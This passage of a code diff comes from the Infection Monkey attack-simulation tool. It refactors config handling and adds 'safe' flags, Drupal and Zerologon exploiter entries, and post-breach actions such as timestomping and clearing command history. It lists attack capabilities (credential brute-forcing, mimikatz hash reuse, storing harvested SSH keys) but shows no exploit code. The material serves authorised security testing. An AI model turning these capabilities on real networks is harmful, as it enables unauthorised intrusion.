[encryptor.dec(x) for x in config] + if config_key_as_arr in ENCRYPTED_CONFIG_VALUES: + if isinstance(config, str): + config = encryptor.dec(config) + elif isinstance(config, list): + config = [encryptor.dec(x) for x in config] return config @staticmethod @@ -75,12 +86,6 @@ class ConfigService: mongo.db.config.update({'name': 'newconfig'}, {"$set": {mongo_key: value}}) - @staticmethod - def append_to_config_array(config_key_as_arr, value): - mongo_key = ".".join(config_key_as_arr) - mongo.db.config.update({'name': 'newconfig'}, - {"$push": {mongo_key: value}}) - @staticmethod def get_flat_config(is_initial_config=False, should_decrypt=True): config_json = ConfigService.get_config(is_initial_config, should_decrypt) @@ -88,7 +93,11 @@ class ConfigService: for i in config_json: for j in config_json[i]: for k in config_json[i][j]: - flat_config_json[k] = config_json[i][j][k] + if isinstance(config_json[i][j][k], dict): + for key, value in config_json[i][j][k].items(): + flat_config_json[key] = value + else: + flat_config_json[k] = config_json[i][j][k] return flat_config_json @@ -97,8 +106,8 @@ class ConfigService: return SCHEMA @staticmethod - def add_item_to_config_set_if_dont_exist(item_key, item_value, should_encrypt): - item_path_array = item_key.split('.') + def add_item_to_config_set_if_dont_exist(item_path_array, item_value, should_encrypt): + item_key = '.'.join(item_path_array) items_from_config = ConfigService.get_config_value(item_path_array, False, should_encrypt) if item_value in items_from_config: return @@ -118,34 +127,34 @@ class ConfigService: @staticmethod def creds_add_username(username): - ConfigService.add_item_to_config_set_if_dont_exist('basic.credentials.exploit_user_list', + ConfigService.add_item_to_config_set_if_dont_exist(USER_LIST_PATH, username, should_encrypt=False) @staticmethod def creds_add_password(password): - ConfigService.add_item_to_config_set_if_dont_exist('basic.credentials.exploit_password_list', + ConfigService.add_item_to_config_set_if_dont_exist(PASSWORD_LIST_PATH, password, should_encrypt=True) @staticmethod def creds_add_lm_hash(lm_hash): - ConfigService.add_item_to_config_set_if_dont_exist('internal.exploits.exploit_lm_hash_list', + ConfigService.add_item_to_config_set_if_dont_exist(LM_HASH_LIST_PATH, lm_hash, should_encrypt=True) @staticmethod def creds_add_ntlm_hash(ntlm_hash): - ConfigService.add_item_to_config_set_if_dont_exist('internal.exploits.exploit_ntlm_hash_list', + ConfigService.add_item_to_config_set_if_dont_exist(NTLM_HASH_LIST_PATH, ntlm_hash, should_encrypt=True) @staticmethod def ssh_add_keys(public_key, private_key, user, ip): if not ConfigService.ssh_key_exists( - ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'], False, False), user, ip): + ConfigService.get_config_value(SSH_KEYS_PATH, False, False), user, ip): ConfigService.add_item_to_config_set_if_dont_exist( - 'internal.exploits.exploit_ssh_keys', + SSH_KEYS_PATH, { "public_key": public_key, "private_key": private_key, @@ -217,7 +226,8 @@ class ConfigService: @staticmethod def set_server_ips_in_config(config): ips = local_ip_addresses() - config["internal"]["island_server"]["command_servers"] = ["%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips] + config["internal"]["island_server"]["command_servers"] = \ + ["%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips] config["internal"]["island_server"]["current_server"] = "%s:%d" % (ips[0], env_singleton.env.get_island_port()) @staticmethod @@ -279,7 +289,7 @@ class ConfigService: """ Same as decrypt_config but for a flat configuration """ - keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS] + keys = [config_arr_as_array[-1] for config_arr_as_array in ENCRYPTED_CONFIG_VALUES] for key in keys: if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], str): @@ -294,7 +304,7 @@ class ConfigService: @staticmethod def _encrypt_or_decrypt_config(config, is_decrypt=False): - for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS: + for config_arr_as_array in ENCRYPTED_CONFIG_VALUES: config_arr = config parent_config_arr = None @@ -327,8 +337,8 @@ class ConfigService: @staticmethod def is_test_telem_export_enabled(): - return ConfigService.get_config_value(['internal', 'testing', 'export_monkey_telems']) + return ConfigService.get_config_value(EXPORT_MONKEY_TELEMS_PATH) @staticmethod def set_started_on_island(value: bool): - ConfigService.set_config_value(['internal', 'general', 'started_on_island'], value) + ConfigService.set_config_value(STARTED_ON_ISLAND_PATH, value) diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index 06d2eda7c..0fa0b80d4 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -26,7 +26,8 @@ BASIC = { "WebLogicExploiter", "HadoopExploiter", "VSFTPDExploiter", - "MSSQLExploiter" + "MSSQLExploiter", + "DrupalExploiter" ] } } diff --git a/monkey/monkey_island/cc/services/config_schema/basic_network.py b/monkey/monkey_island/cc/services/config_schema/basic_network.py index 33467690a..5ae044d95 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic_network.py +++ b/monkey/monkey_island/cc/services/config_schema/basic_network.py @@ -1,4 +1,4 @@ -from common.data.validation_formats import IP, IP_RANGE +from common.common_consts.validation_formats import IP, IP_RANGE from monkey_island.cc.services.utils.typographic_symbols import WARNING_SIGN BASIC_NETWORK = { diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema.py b/monkey/monkey_island/cc/services/config_schema/config_schema.py index 04e586e71..17d7752c0 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema.py @@ -1,11 +1,8 @@ from monkey_island.cc.services.config_schema.basic import BASIC from monkey_island.cc.services.config_schema.basic_network import BASIC_NETWORK -from monkey_island.cc.services.config_schema.definitions.exploiter_classes import \ - EXPLOITER_CLASSES -from monkey_island.cc.services.config_schema.definitions.finger_classes import \ - FINGER_CLASSES -from monkey_island.cc.services.config_schema.definitions.post_breach_actions import \ - POST_BREACH_ACTIONS +from monkey_island.cc.services.config_schema.definitions.exploiter_classes import EXPLOITER_CLASSES +from monkey_island.cc.services.config_schema.definitions.finger_classes import FINGER_CLASSES +from monkey_island.cc.services.config_schema.definitions.post_breach_actions import POST_BREACH_ACTIONS from monkey_island.cc.services.config_schema.definitions.system_info_collector_classes import \ SYSTEM_INFO_COLLECTOR_CLASSES from monkey_island.cc.services.config_schema.internal import INTERNAL @@ -14,6 +11,9 @@ from monkey_island.cc.services.config_schema.monkey import MONKEY SCHEMA = { "title": "Monkey", "type": "object", + # Newly added definitions should also be added to + # monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js so that + # users will not accidentally chose unsafe options "definitions": { "exploiter_classes": EXPLOITER_CLASSES, "system_info_collector_classes": SYSTEM_INFO_COLLECTOR_CLASSES, diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 604ba2073..88186e9ed 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -2,129 +2,142 @@ from monkey_island.cc.services.utils.typographic_symbols import WARNING_SIGN EXPLOITER_CLASSES = { "title": "Exploit class", - "description": "Click on exploiter to get more information about it." + WARNING_SIGN + - " Note that using unsafe exploits may cause crashes of the exploited machine/service.", + "description": "Click on exploiter to get more information about it." + + WARNING_SIGN + + " Note that using unsafe exploits may cause crashes of the exploited machine/service.", "type": "string", "anyOf": [ { "type": "string", - "enum": [ - "SmbExploiter" - ], + "enum": ["SmbExploiter"], "title": "SMB Exploiter", + "safe": True, "attack_techniques": ["T1110", "T1075", "T1035"], "info": "Brute forces using credentials provided by user and" - " hashes gathered by mimikatz.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/smbexec/" + " hashes gathered by mimikatz.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/smbexec/", }, { "type": "string", - "enum": [ - "WmiExploiter" - ], + "enum": ["WmiExploiter"], "title": "WMI Exploiter", + "safe": True, "attack_techniques": ["T1110", "T1106"], "info": "Brute forces WMI (Windows Management Instrumentation) " - "using credentials provided by user and hashes gathered by mimikatz.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/wmiexec/" + "using credentials provided by user and hashes gathered by mimikatz.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/wmiexec/", }, { "type": "string", - "enum": [ - "MSSQLExploiter" - ], + "enum": ["MSSQLExploiter"], "title": "MSSQL Exploiter", + "safe": True, "attack_techniques": ["T1110"], "info": "Tries to brute force into MsSQL server and uses insecure " - "configuration to execute commands on server.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/mssql/" + "configuration to execute commands on server.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/mssql/", }, { "type": "string", - "enum": [ - "Ms08_067_Exploiter" - ], - "title": "MS08-067 Exploiter (UNSAFE)", + "enum": ["Ms08_067_Exploiter"], + "title": "MS08-067 Exploiter", + "safe": False, "info": "Unsafe exploiter, that might cause system crash due to the use of buffer overflow. " - "Uses MS08-067 vulnerability.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/ms08-067/" + "Uses MS08-067 vulnerability.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/ms08-067/", }, { "type": "string", - "enum": [ - "SSHExploiter" - ], + "enum": ["SSHExploiter"], "title": "SSH Exploiter", + "safe": True, "attack_techniques": ["T1110", "T1145", "T1106"], "info": "Brute forces using credentials provided by user and SSH keys gathered from systems.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sshexec/" + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sshexec/", }, { "type": "string", - "enum": [ - "ShellShockExploiter" - ], + "enum": ["ShellShockExploiter"], "title": "ShellShock Exploiter", + "safe": True, "info": "CVE-2014-6271, based on logic from " - "https://github.com/nccgroup/shocker/blob/master/shocker.py .", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/shellshock/" + "https://github.com/nccgroup/shocker/blob/master/shocker.py .", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/shellshock/", }, { "type": "string", - "enum": [ - "SambaCryExploiter" - ], + "enum": ["SambaCryExploiter"], "title": "SambaCry Exploiter", + "safe": True, "info": "Bruteforces and searches for anonymous shares. Uses Impacket.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sambacry/" + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sambacry/", }, { "type": "string", - "enum": [ - "ElasticGroovyExploiter" - ], + "enum": ["ElasticGroovyExploiter"], "title": "ElasticGroovy Exploiter", + "safe": True, "info": "CVE-2015-1427. Logic is based on Metasploit module.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/elasticgroovy/" + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/elasticgroovy/", }, { "type": "string", - "enum": [ - "Struts2Exploiter" - ], + "enum": ["Struts2Exploiter"], "title": "Struts2 Exploiter", + "safe": True, "info": "Exploits struts2 java web framework. CVE-2017-5638. Logic based on " - "https://www.exploit-db.com/exploits/41570 .", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/struts2/" + "https://www.exploit-db.com/exploits/41570 .", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/struts2/", }, { "type": "string", - "enum": [ - "WebLogicExploiter" - ], + "enum": ["WebLogicExploiter"], "title": "WebLogic Exploiter", + "safe": True, "info": "Exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on WebLogic server.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/weblogic/" + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/weblogic/", }, { "type": "string", - "enum": [ - "HadoopExploiter" - ], + "enum": ["HadoopExploiter"], "title": "Hadoop/Yarn Exploiter", + "safe": True, "info": "Remote code execution on HADOOP server with YARN and default settings. " - "Logic based on https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/" + "Logic based on https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/", }, { "type": "string", - "enum": [ - "VSFTPDExploiter" - ], + "enum": ["VSFTPDExploiter"], "title": "VSFTPD Exploiter", + "safe": True, "info": "Exploits a malicious backdoor that was added to the VSFTPD download archive. " - "Logic based on Metasploit module.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/" - } - ] + "Logic based on Metasploit module.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/", + }, + { + "type": "string", + "enum": ["DrupalExploiter"], + "title": "Drupal Exploiter", + "safe": True, + "info": "Exploits a remote command execution vulnerability in a Drupal server," + "for which certain modules (such as RESTful Web Services) are enabled.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/", + }, + { + "type": "string", + "enum": ["ZerologonExploiter"], + "title": "Zerologon Exploiter", + "safe": False, + "info": "Exploits a privilege escalation vulnerability (CVE-2020-1472) in a Windows " + "server domain controller by using the Netlogon Remote Protocol (MS-NRPC). " + "This exploiter changes the password of a Windows server domain controller " + "account and then attempts to restore it. The victim domain controller " + "will be unable to communicate with other domain controllers until the original " + "password has been restored. If Infection Monkey fails to restore the " + "password automatically, you'll have to do it manually. For more " + "information, see the documentation.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/", + }, + ], } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index 6fe5e8fea..8edff3fcc 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -10,6 +10,7 @@ FINGER_CLASSES = { "SMBFinger" ], "title": "SMBFinger", + "safe": True, "info": "Figures out if SMB is running and what's the version of it.", "attack_techniques": ["T1210"] }, @@ -19,6 +20,7 @@ FINGER_CLASSES = { "SSHFinger" ], "title": "SSHFinger", + "safe": True, "info": "Figures out if SSH is running.", "attack_techniques": ["T1210"] }, @@ -28,6 +30,7 @@ FINGER_CLASSES = { "PingScanner" ], "title": "PingScanner", + "safe": True, "info": "Tries to identify if host is alive and which OS it's running by ping scan." }, { @@ -36,6 +39,7 @@ FINGER_CLASSES = { "HTTPFinger" ], "title": "HTTPFinger", + "safe": True, "info": "Checks if host has HTTP/HTTPS ports open." }, { @@ -44,6 +48,7 @@ FINGER_CLASSES = { "MySQLFinger" ], "title": "MySQLFinger", + "safe": True, "info": "Checks if MySQL server is running and tries to get it's version.", "attack_techniques": ["T1210"] }, @@ -53,16 +58,17 @@ FINGER_CLASSES = { "MSSQLFinger" ], "title": "MSSQLFinger", + "safe": True, "info": "Checks if Microsoft SQL service is running and tries to gather information about it.", "attack_techniques": ["T1210"] }, - { "type": "string", "enum": [ "ElasticFinger" ], "title": "ElasticFinger", + "safe": True, "info": "Checks if ElasticSearch is running and attempts to find it's version.", "attack_techniques": ["T1210"] } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py index f3e2a9bfa..857e80da4 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py @@ -10,6 +10,7 @@ POST_BREACH_ACTIONS = { "BackdoorUser" ], "title": "Back door user", + "safe": True, "info": "Attempts to create a new user on the system and delete it afterwards.", "attack_techniques": ["T1136"] }, @@ -19,6 +20,7 @@ POST_BREACH_ACTIONS = { "CommunicateAsNewUser" ], "title": "Communicate as new user", + "safe": True, "info": "Attempts to create a new user, create HTTPS requests as that user and delete the user " "afterwards.", "attack_techniques": ["T1136"] @@ -29,6 +31,7 @@ POST_BREACH_ACTIONS = { "ModifyShellStartupFiles" ], "title": "Modify shell startup files", + "safe": True, "info": "Attempts to modify shell startup files, like ~/.profile, ~/.bashrc, ~/.bash_profile " "in linux, and profile.ps1 in windows. Reverts modifications done afterwards.", "attack_techniques": ["T1156", "T1504"] @@ -39,6 +42,7 @@ POST_BREACH_ACTIONS = { "HiddenFiles" ], "title": "Hidden files and directories", + "safe": True, "info": "Attempts to create a hidden file and remove it afterward.", "attack_techniques": ["T1158"] }, @@ -48,6 +52,7 @@ POST_BREACH_ACTIONS = { "TrapCommand" ], "title": "Trap", + "safe": True, "info": "On Linux systems, attempts to trap an interrupt signal in order to execute a command " "upon receiving that signal. Removes the trap afterwards.", "attack_techniques": ["T1154"] @@ -58,6 +63,7 @@ POST_BREACH_ACTIONS = { "ChangeSetuidSetgid" ], "title": "Setuid and Setgid", + "safe": True, "info": "On Linux systems, attempts to set the setuid and setgid bits of a new file. " "Removes the file afterwards.", "attack_techniques": ["T1166"] @@ -68,8 +74,50 @@ POST_BREACH_ACTIONS = { "ScheduleJobs" ], "title": "Job scheduling", + "safe": True, "info": "Attempts to create a scheduled job on the system and remove it.", "attack_techniques": ["T1168", "T1053"] + }, + { + "type": "string", + "enum": [ + "Timestomping" + ], + "title": "Timestomping", + "safe": True, + "info": "Creates a temporary file and attempts to modify its time attributes. Removes the file afterwards.", + "attack_techniques": ["T1099"] + }, + { + "type": "string", + "enum": [ + "SignedScriptProxyExecution" + ], + "title": "Signed script proxy execution", + "safe": False, + "info": "On Windows systems, attempts to execute an arbitrary file " + "with the help of a pre-existing signed script.", + "attack_techniques": ["T1216"] + }, + { + "type": "string", + "enum": [ + "AccountDiscovery" + ], + "title": "Account Discovery", + "safe": True, + "info": "Attempts to get a listing of user accounts on the system.", + "attack_techniques": ["T1087"] + }, + { + "type": "string", + "enum": [ + "ClearCommandHistory" + ], + "title": "Clear command history", + "safe": False, + "info": "Attempts to clear the command history.", + "attack_techniques": ["T1146"] } ] } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py index 5f113f4a7..cd756ed61 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py @@ -1,9 +1,6 @@ -from common.data.system_info_collectors_names import (AWS_COLLECTOR, - AZURE_CRED_COLLECTOR, - ENVIRONMENT_COLLECTOR, - HOSTNAME_COLLECTOR, - MIMIKATZ_COLLECTOR, - PROCESS_LIST_COLLECTOR) +from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, AZURE_CRED_COLLECTOR, + ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, + MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR) SYSTEM_INFO_COLLECTOR_CLASSES = { "title": "System Information Collectors", @@ -16,6 +13,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { ENVIRONMENT_COLLECTOR ], "title": "Environment collector", + "safe": True, "info": "Collects information about machine's environment (on premise/GCP/AWS).", "attack_techniques": ["T1082"] }, @@ -25,6 +23,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { MIMIKATZ_COLLECTOR ], "title": "Mimikatz collector", + "safe": True, "info": "Collects credentials from Windows credential manager.", "attack_techniques": ["T1003", "T1005"] }, @@ -34,6 +33,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { AWS_COLLECTOR ], "title": "AWS collector", + "safe": True, "info": "If on AWS, collects more information about the AWS instance currently running on.", "attack_techniques": ["T1082"] }, @@ -43,6 +43,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { HOSTNAME_COLLECTOR ], "title": "Hostname collector", + "safe": True, "info": "Collects machine's hostname.", "attack_techniques": ["T1082", "T1016"] }, @@ -52,6 +53,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { PROCESS_LIST_COLLECTOR ], "title": "Process list collector", + "safe": True, "info": "Collects a list of running processes on the machine.", "attack_techniques": ["T1082"] }, @@ -61,6 +63,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { AZURE_CRED_COLLECTOR ], "title": "Azure credential collector", + "safe": True, "info": "Collects password credentials from Azure VMs", "attack_techniques": ["T1003", "T1005"] } diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index bdbae2461..f6b3523f0 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -94,6 +94,23 @@ INTERNAL = { "type": "boolean", "default": True, "description": "Is the monkey alive" + }, + "aws_keys": { + "type": "object", + "properties": { + "aws_access_key_id": { + "type": "string", + "default": "" + }, + "aws_secret_access_key": { + "type": "string", + "default": "" + }, + "aws_session_token": { + "type": "string", + "default": "" + } + } } } }, @@ -142,7 +159,8 @@ INTERNAL = { 8080, 443, 8008, - 7001 + 7001, + 9200 ], "description": "List of ports the monkey will check if are being used for HTTP" }, @@ -164,7 +182,6 @@ INTERNAL = { 443, 8008, 3306, - 9200, 7001, 8088 ], diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index dd10cb35b..82a394b65 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -1,9 +1,6 @@ -from common.data.system_info_collectors_names import (AWS_COLLECTOR, - AZURE_CRED_COLLECTOR, - ENVIRONMENT_COLLECTOR, - HOSTNAME_COLLECTOR, - MIMIKATZ_COLLECTOR, - PROCESS_LIST_COLLECTOR) +from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, AZURE_CRED_COLLECTOR, + ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, + MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR) MONKEY = { "title": "Monkey", @@ -14,33 +11,39 @@ MONKEY = { "type": "object", "properties": { "custom_PBA_linux_cmd": { - "title": "Linux post breach command", + "title": "Linux post-breach command", "type": "string", "default": "", - "description": "Linux command to be executed after breaching." + "description": "Command to be executed after breaching. " + "Use this field to run custom commands or execute uploaded " + "files on exploited machines.\nExample: " + "\"chmod +x ./my_script.sh; ./my_script.sh ; rm ./my_script.sh\"" }, "PBA_linux_file": { - "title": "Linux post breach file", + "title": "Linux post-breach file", "type": "string", "format": "data-url", - "description": "File to be executed after breaching. " - "If you want custom execution behavior, " - "specify it in 'Linux post breach command' field. " + "description": "File to be uploaded after breaching. " + "Use the 'Linux post-breach command' field to " + "change permissions, run, or delete the file. " "Reference your file by filename." }, "custom_PBA_windows_cmd": { - "title": "Windows post breach command", + "title": "Windows post-breach command", "type": "string", "default": "", - "description": "Windows command to be executed after breaching." + "description": "Command to be executed after breaching. " + "Use this field to run custom commands or execute uploaded " + "files on exploited machines.\nExample: " + "\"my_script.bat & del my_script.bat\"" }, "PBA_windows_file": { - "title": "Windows post breach file", + "title": "Windows post-breach file", "type": "string", "format": "data-url", - "description": "File to be executed after breaching. " - "If you want custom execution behavior, " - "specify it in 'Windows post breach command' field. " + "description": "File to be uploaded after breaching. " + "Use the 'Windows post-breach command' field to " + "change permissions, run, or delete the file. " "Reference your file by filename." }, "PBA_windows_filename": { @@ -67,7 +70,9 @@ MONKEY = { "HiddenFiles", "TrapCommand", "ChangeSetuidSetgid", - "ScheduleJobs" + "ScheduleJobs", + "Timestomping", + "AccountDiscovery" ] }, } diff --git a/monkey/monkey_island/cc/services/configuration/utils.py b/monkey/monkey_island/cc/services/configuration/utils.py index 34d6a9bb5..493d5af03 100644 --- a/monkey/monkey_island/cc/services/configuration/utils.py +++ b/monkey/monkey_island/cc/services/configuration/utils.py @@ -1,5 +1,6 @@ from monkey_island.cc.services.config import ConfigService +from common.config_value_paths import INACCESSIBLE_SUBNETS_PATH def get_config_network_segments_as_subnet_groups(): - return [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])] + return [ConfigService.get_config_value(INACCESSIBLE_SUBNETS_PATH)] diff --git a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py b/monkey/monkey_island/cc/services/edge/test_displayed_edge.py index dd214c9ed..5aa97d923 100644 --- a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py +++ b/monkey/monkey_island/cc/services/edge/test_displayed_edge.py @@ -1,9 +1,7 @@ from bson import ObjectId -from monkey_island.cc.models.edge import Edge from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService from monkey_island.cc.services.edge.edge import RIGHT_ARROW, EdgeService -from monkey_island.cc.testing.IslandTestCase import IslandTestCase SCAN_DATA_MOCK = [{ "timestamp": "2020-05-27T14:59:28.944Z", @@ -46,9 +44,8 @@ EXPLOIT_DATA_MOCK = [{ }] -class TestDisplayedEdgeService(IslandTestCase): +class TestDisplayedEdgeService: def test_get_displayed_edges_by_to(self): - self.clean_edge_db() dst_id = ObjectId() @@ -59,7 +56,7 @@ class TestDisplayedEdgeService(IslandTestCase): EdgeService.get_or_create_edge(src_id2, dst_id, "Ubuntu-4ubuntu3.2", "Ubuntu-4ubuntu2.8") displayed_edges = DisplayedEdgeService.get_displayed_edges_by_dst(str(dst_id)) - self.assertEqual(len(displayed_edges), 2) + assert len(displayed_edges) == 2 def test_edge_to_displayed_edge(self): src_node_id = ObjectId() @@ -76,22 +73,21 @@ class TestDisplayedEdgeService(IslandTestCase): displayed_edge = DisplayedEdgeService.edge_to_displayed_edge(edge) - self.assertEqual(displayed_edge['to'], dst_node_id) - self.assertEqual(displayed_edge['from'], src_node_id) - self.assertEqual(displayed_edge['ip_address'], "10.2.2.2") - self.assertListEqual(displayed_edge['services'], ["tcp-8088: unknown", "tcp-22: ssh"]) - self.assertEqual(displayed_edge['os'], {"type": "linux", - "version": "Ubuntu-4ubuntu2.8"}) - self.assertEqual(displayed_edge['exploits'], EXPLOIT_DATA_MOCK) - self.assertEqual(displayed_edge['_label'], "Ubuntu-4ubuntu3.2 " + RIGHT_ARROW + " Ubuntu-4ubuntu2.8") - self.assertEqual(displayed_edge['group'], "exploited") + assert displayed_edge['to'] == dst_node_id + assert displayed_edge['from'] == src_node_id + assert displayed_edge['ip_address'] == "10.2.2.2" + assert displayed_edge['services'] == ["tcp-8088: unknown", "tcp-22: ssh"] + assert displayed_edge['os'] == {"type": "linux", "version": "Ubuntu-4ubuntu2.8"} + assert displayed_edge['exploits'] == EXPLOIT_DATA_MOCK + assert displayed_edge['_label'] == "Ubuntu-4ubuntu3.2 " + RIGHT_ARROW + " Ubuntu-4ubuntu2.8" + assert displayed_edge['group'] == "exploited" return displayed_edge def test_services_to_displayed_services(self): services1 = DisplayedEdgeService.services_to_displayed_services(SCAN_DATA_MOCK[-1]["data"]["services"], True) - self.assertEqual(services1, ["tcp-8088", "tcp-22"]) + assert services1 == ["tcp-8088", "tcp-22"] services2 = DisplayedEdgeService.services_to_displayed_services(SCAN_DATA_MOCK[-1]["data"]["services"], False) - self.assertEqual(services2, ["tcp-8088: unknown", "tcp-22: ssh"]) + assert services2 == ["tcp-8088: unknown", "tcp-22: ssh"] diff --git a/monkey/monkey_island/cc/services/edge/test_edge.py b/monkey/monkey_island/cc/services/edge/test_edge.py index 8ebf45343..f327bc2d1 100644 --- a/monkey/monkey_island/cc/services/edge/test_edge.py +++ b/monkey/monkey_island/cc/services/edge/test_edge.py @@ -1,60 +1,52 @@ import logging +import pytest from mongomock import ObjectId from monkey_island.cc.models.edge import Edge from monkey_island.cc.services.edge.edge import EdgeService -from monkey_island.cc.testing.IslandTestCase import IslandTestCase +from monkey_island.cc.test_common.fixtures import FixtureEnum logger = logging.getLogger(__name__) -class TestEdgeService(IslandTestCase): - """ - Make sure to set server environment to `testing` in server_config.json! - Otherwise this will mess up your mongo instance and won't work. - - Also, the working directory needs to be the working directory from which you usually run the island so the - server_config.json file is found and loaded. - """ +class TestEdgeService: + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_get_or_create_edge(self): - self.fail_if_not_testing_env() - self.clean_edge_db() - src_id = ObjectId() dst_id = ObjectId() test_edge1 = EdgeService.get_or_create_edge(src_id, dst_id, "Mock label 1", "Mock label 2") - self.assertEqual(test_edge1.src_node_id, src_id) - self.assertEqual(test_edge1.dst_node_id, dst_id) - self.assertFalse(test_edge1.exploited) - self.assertFalse(test_edge1.tunnel) - self.assertListEqual(test_edge1.scans, []) - self.assertListEqual(test_edge1.exploits, []) - self.assertEqual(test_edge1.src_label, "Mock label 1") - self.assertEqual(test_edge1.dst_label, "Mock label 2") - self.assertIsNone(test_edge1.group) - self.assertIsNone(test_edge1.domain_name) - self.assertIsNone(test_edge1.ip_address) + assert test_edge1.src_node_id == src_id + assert test_edge1.dst_node_id == dst_id + assert not test_edge1.exploited + assert not test_edge1.tunnel + assert test_edge1.scans == [] + assert test_edge1.exploits == [] + assert test_edge1.src_label == "Mock label 1" + assert test_edge1.dst_label == "Mock label 2" + assert test_edge1.group is None + assert test_edge1.domain_name is None + assert test_edge1.ip_address is None EdgeService.get_or_create_edge(src_id, dst_id, "Mock label 1", "Mock label 2") - self.assertEqual(len(Edge.objects()), 1) + assert len(Edge.objects()) == 1 def test_get_edge_group(self): edge = Edge(src_node_id=ObjectId(), dst_node_id=ObjectId(), exploited=True) - self.assertEqual("exploited", EdgeService.get_group(edge)) + assert "exploited" == EdgeService.get_group(edge) edge.exploited = False edge.tunnel = True - self.assertEqual("tunnel", EdgeService.get_group(edge)) + assert "tunnel" == EdgeService.get_group(edge) edge.tunnel = False edge.exploits.append(["mock_exploit_data"]) - self.assertEqual("scan", EdgeService.get_group(edge)) + assert "scan" == EdgeService.get_group(edge) edge.exploits = [] edge.scans = [] - 